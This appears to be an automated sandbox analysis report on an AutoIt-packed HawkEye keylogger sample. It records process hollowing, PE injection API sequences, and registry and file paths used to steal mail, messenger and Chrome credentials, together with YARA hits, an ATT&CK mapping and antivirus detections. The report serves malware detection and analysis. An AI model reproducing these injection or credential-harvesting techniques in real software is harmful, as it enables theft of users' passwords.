Code function: 0_2_00D2A395 SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00D2A395

HIPS / PFW / Operating System Protection Evasion:

Sample uses process hollowing technique

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Section unmapped: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base address: 400000			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Section unmapped: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base address: 400000			Jump to behavior

Writes to foreign memory regions

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe base: C65008	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 400000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 401000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 445000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 451000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 454000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 2C6008	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 400000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 401000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 413000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 417000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 419000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 3D2008	Jump to behavior

.NET source code references suspicious native API functions

Show sources

Source: 0.3.SecuriteInfo.com.Trojan.AutoIt.316.10986.exe.ff0000.0.unpack, u200d????????????????????????????????????????.cs	Reference to suspicious API methods: ('?????????????????????????????????????????', 'FindResource@kernel32.dll'), ('?????????????????????????????????????????', 'capGetDriverDescriptionA@avicap32.dll'), ('?????????????????????????????????????????', 'WriteProcessMemory@kernel32.dll'), ('????????????????????????????????????????', 'LoadLibrary@kernel32.dll'), ('?????????????????????????????????????????', 'VirtualAllocEx@kernel32.dll'), ('?????????????????????????????????????????', 'ReadProcessMemory@kernel32.dll'), ('?????????????????????????????????????????', 'GetProcAddress@kernel32.dll')
Source: 1.0.RegAsm.exe.400000.0.unpack, u200d????????????????????????????????????????.cs	Reference to suspicious API methods: ('?????????????????????????????????????????', 'FindResource@kernel32.dll'), ('?????????????????????????????????????????', 'capGetDriverDescriptionA@avicap32.dll'), ('?????????????????????????????????????????', 'WriteProcessMemory@kernel32.dll'), ('????????????????????????????????????????', 'LoadLibrary@kernel32.dll'), ('?????????????????????????????????????????', 'VirtualAllocEx@kernel32.dll'), ('?????????????????????????????????????????', 'ReadProcessMemory@kernel32.dll'), ('?????????????????????????????????????????', 'GetProcAddress@kernel32.dll')
Source: 1.2.RegAsm.exe.400000.0.unpack, u200d????????????????????????????????????????.cs	Reference to suspicious API methods: ('?????????????????????????????????????????', 'FindResource@kernel32.dll'), ('?????????????????????????????????????????', 'capGetDriverDescriptionA@avicap32.dll'), ('?????????????????????????????????????????', 'WriteProcessMemory@kernel32.dll'), ('????????????????????????????????????????', 'LoadLibrary@kernel32.dll'), ('?????????????????????????????????????????', 'VirtualAllocEx@kernel32.dll'), ('?????????????????????????????????????????', 'ReadProcessMemory@kernel32.dll'), ('?????????????????????????????????????????', 'GetProcAddress@kernel32.dll')
Source: 1.0.RegAsm.exe.400000.1.unpack, u200d????????????????????????????????????????.cs	Reference to suspicious API methods: ('?????????????????????????????????????????', 'FindResource@kernel32.dll'), ('?????????????????????????????????????????', 'capGetDriverDescriptionA@avicap32.dll'), ('?????????????????????????????????????????', 'WriteProcessMemory@kernel32.dll'), ('????????????????????????????????????????', 'LoadLibrary@kernel32.dll'), ('?????????????????????????????????????????', 'VirtualAllocEx@kernel32.dll'), ('?????????????????????????????????????????', 'ReadProcessMemory@kernel32.dll'), ('?????????????????????????????????????????', 'GetProcAddress@kernel32.dll')

Allocates memory in foreign processes

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 400000 protect: page execute and read and write	Jump to behavior

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 400000 value starts with: 4D5A	Jump to behavior

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe

Code function: 0_3_00CF00BE CreateProcessW,GetThreadContext,ReadProcessMemory,VirtualAlloc,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualProtectEx,VirtualFree,WriteProcessMemory,SetThreadContext,ResumeThread,

0_3_00CF00BE

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe

0_2_00D04A35

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /stext "C:\Users\user\AppData\Local\Temp\tmpBCAF.tmp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /stext "C:\Users\user\AppData\Local\Temp\tmpBBC1.tmp	Jump to behavior

Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe, RegAsm.exe, 00000001.00000002.515744760.0000000001750000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: RegAsm.exe, 00000001.00000002.515744760.0000000001750000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: RegAsm.exe, 00000001.00000002.515744760.0000000001750000.00000002.00020000.sdmp	Binary or memory string: SProgram Managerl
Source: RegAsm.exe, 00000001.00000002.515744760.0000000001750000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd,
Source: RegAsm.exe, 00000001.00000002.515744760.0000000001750000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe

Code function: 0_2_00D350D7 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00D350D7

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe

Code function: 0_2_00D04AFE GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00D04AFE

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Code function: 19_2_004073B6 memset,memset,memset,memset,GetComputerNameA,GetUserNameA,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,strlen,strlen,memcpy,

19_2_004073B6

Stealing of Sensitive Information:

Yara detected MailPassView

Show sources

Source: Yara match	File source: 19.0.vbc.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.RegAsm.exe.4a9b8f2.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.vbc.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.RegAsm.exe.4a9b8f2.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.522834a.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.vbc.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.RegAsm.exe.4a435a8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.vbc.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.vbc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.vbc.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.RegAsm.exe.4a435a8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.51d0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.51d0345.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.522834a.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.vbc.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.6d55bd0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.vbc.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.vbc.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.6df1c10.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.6df1c10.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.RegAsm.exe.4a438ed.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.51d0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000000.401565016.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000000.401266886.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000000.401896100.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000000.402276978.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.519365892.0000000006D51000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.253770360.0000000004A43000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.518879964.00000000051D0000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.518219732.00000000033CE000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5908, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 5964, type: MEMORYSTR

Yara detected HawkEye Keylogger

Show sources

Source: Yara match	File source: 1.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.SecuriteInfo.com.Trojan.AutoIt.316.10986.exe.ff0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.248337037.0000000000FF0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.252098069.0000000000402000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.516270179.00000000031E9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.251237840.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.251645855.0000000000FF2000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.514267996.0000000000402000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe PID: 4720, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5908, type: MEMORYSTR

Tries to steal Mail credentials (via file / registry access)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows Live Mail	Jump to behavior

Tries to steal Mail credentials (via file registry)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: strcpy,strcpy,strcpy,strcpy,RegCloseKey, PopPassword	19_2_00402D74
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: strcpy,strcpy,strcpy,strcpy,RegCloseKey, SMTPPassword	19_2_00402D74
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: ESMTPPassword	19_2_004033B1

Yara detected WebBrowserPassView password recovery tool

Show sources

Source: Yara match	File source: 3.0.vbc.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.vbc.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.RegAsm.exe.4a435a8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.vbc.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.RegAsm.exe.4a435a8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.51d0345.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.vbc.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.vbc.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.51d0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.51d0345.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.vbc.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.6d55bd0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.vbc.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.vbc.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.RegAsm.exe.4a438ed.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.RegAsm.exe.4a438ed.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.6d55bd0.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.vbc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.51d0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000000.261547769.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.262035406.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.261098528.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.519365892.0000000006D51000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.516610948.0000000003292000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.260466252.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.253770360.0000000004A43000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.518879964.00000000051D0000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5908, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 4484, type: MEMORYSTR

Tries to steal Instant Messenger accounts or passwords

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\IdentityCRL\Dynamic Salt			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 5908, type: MEMORYSTR

Remote Access Functionality:

Yara detected HawkEye Keylogger

Show sources

Source: Yara match	File source: 1.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.SecuriteInfo.com.Trojan.AutoIt.316.10986.exe.ff0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.248337037.0000000000FF0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.252098069.0000000000402000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.516270179.00000000031E9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.251237840.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.251645855.0000000000FF2000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.514267996.0000000000402000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe PID: 4720, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5908, type: MEMORYSTR

Detected HawkEye Rat

Show sources

Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe, 00000000.00000003.248337037.0000000000FF0000.00000004.00000001.sdmp	String found in binary or memory: _Version_Mutex_Delivery_EmailUsername_EmailPassword_EmailServer_EmailPort_EmailSSL_FTPServer_FTPUsername_FTPPassword_FTPPort_FTPSFTP_ProxyURL_ProxySecret_PanelURL_PanelSecret_LogInterval_PasswordStealer_KeyStrokeLogger_ClipboardLogger_ScreenshotLogger_WebCamLogger_SystemInfo_Install_InstallLocation_InstallFolder_InstallFileName_InstallStartup_InstallStartupPersistance_HistoryCleaner_ZoneID_HideFile_MeltFile_Disablers_DisableTaskManager_DisableCommandPrompt_DisableRegEdit_ProcessProtection_ProcessElevation_AntiVirusKiller_BotKiller_AntiDebugger_ExecutionDelay_FakeMessageShow_FakeMessageTitle_FakeMessageText_FakeMessageIcon_WebsiteVisitor_WebsiteVisitorVisible_WebsiteVisitorSites_WebsiteBlocker_WebsiteBlockerSites_FileBinder_FileBinderFiles
Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe, 00000000.00000003.251645855.0000000000FF2000.00000040.00000001.sdmp	String found in binary or memory: _Version_Mutex_Delivery_EmailUsername_EmailPassword_EmailServer_EmailPort_EmailSSL_FTPServer_FTPUsername_FTPPassword_FTPPort_FTPSFTP_ProxyURL_ProxySecret_PanelURL_PanelSecret_LogInterval_PasswordStealer_KeyStrokeLogger_ClipboardLogger_ScreenshotLogger_WebCamLogger_SystemInfo_Install_InstallLocation_InstallFolder_InstallFileName_InstallStartup_InstallStartupPersistance_HistoryCleaner_ZoneID_HideFile_MeltFile_Disablers_DisableTaskManager_DisableCommandPrompt_DisableRegEdit_ProcessProtection_ProcessElevation_AntiVirusKiller_BotKiller_AntiDebugger_ExecutionDelay_FakeMessageShow_FakeMessageTitle_FakeMessageText_FakeMessageIcon_WebsiteVisitor_WebsiteVisitorVisible_WebsiteVisitorSites_WebsiteBlocker_WebsiteBlockerSites_FileBinder_FileBinderFiles
Source: RegAsm.exe, 00000001.00000000.252098069.0000000000402000.00000020.00000001.sdmp	String found in binary or memory: _Version_Mutex_Delivery_EmailUsername_EmailPassword_EmailServer_EmailPort_EmailSSL_FTPServer_FTPUsername_FTPPassword_FTPPort_FTPSFTP_ProxyURL_ProxySecret_PanelURL_PanelSecret_LogInterval_PasswordStealer_KeyStrokeLogger_ClipboardLogger_ScreenshotLogger_WebCamLogger_SystemInfo_Install_InstallLocation_InstallFolder_InstallFileName_InstallStartup_InstallStartupPersistance_HistoryCleaner_ZoneID_HideFile_MeltFile_Disablers_DisableTaskManager_DisableCommandPrompt_DisableRegEdit_ProcessProtection_ProcessElevation_AntiVirusKiller_BotKiller_AntiDebugger_ExecutionDelay_FakeMessageShow_FakeMessageTitle_FakeMessageText_FakeMessageIcon_WebsiteVisitor_WebsiteVisitorVisible_WebsiteVisitorSites_WebsiteBlocker_WebsiteBlockerSites_FileBinder_FileBinderFiles
Source: RegAsm.exe, 00000001.00000000.251237840.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: _Version_Mutex_Delivery_EmailUsername_EmailPassword_EmailServer_EmailPort_EmailSSL_FTPServer_FTPUsername_FTPPassword_FTPPort_FTPSFTP_ProxyURL_ProxySecret_PanelURL_PanelSecret_LogInterval_PasswordStealer_KeyStrokeLogger_ClipboardLogger_ScreenshotLogger_WebCamLogger_SystemInfo_Install_InstallLocation_InstallFolder_InstallFileName_InstallStartup_InstallStartupPersistance_HistoryCleaner_ZoneID_HideFile_MeltFile_Disablers_DisableTaskManager_DisableCommandPrompt_DisableRegEdit_ProcessProtection_ProcessElevation_AntiVirusKiller_BotKiller_AntiDebugger_ExecutionDelay_FakeMessageShow_FakeMessageTitle_FakeMessageText_FakeMessageIcon_WebsiteVisitor_WebsiteVisitorVisible_WebsiteVisitorSites_WebsiteBlocker_WebsiteBlockerSites_FileBinder_FileBinderFiles

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation111	DLL Side-Loading1	DLL Side-Loading1	Disable or Modify Tools1	OS Credential Dumping1	System Time Discovery1	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API11	Application Shimming1	Application Shimming1	Deobfuscate/Decode Files or Information11	Input Capture21	Account Discovery1	Remote Desktop Protocol	Data from Local System1	Exfiltration Over Bluetooth	Remote Access Software1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Shared Modules1	Logon Script (Windows)	Process Injection512	Obfuscated Files or Information2	Credentials in Registry2	File and Directory Discovery1	SMB/Windows Admin Shares	Email Collection1	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Software Packing1	Credentials In Files1	System Information Discovery9	Distributed Component Object Model	Input Capture21	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	DLL Side-Loading1	LSA Secrets	Security Software Discovery24	SSH	Clipboard Data1	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Virtualization/Sandbox Evasion12	Cached Domain Credentials	Virtualization/Sandbox Evasion12	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Process Injection512	DCSync	Process Discovery4	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	Application Window Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	System Owner/User Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	70%	Virustotal		Browse
SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	78%	ReversingLabs	Win32.Trojan.Generic
SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	100%	Avira	HEUR/AGEN.1100066

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
3.0.vbc.exe.400000.3.unpack	100%	Avira	HEUR/AGEN.1125438	Download File
3.2.vbc.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1125438	Download File
1.0.RegAsm.exe.400000.0.unpack	100%	Avira	TR/Dropper.Gen	Download File
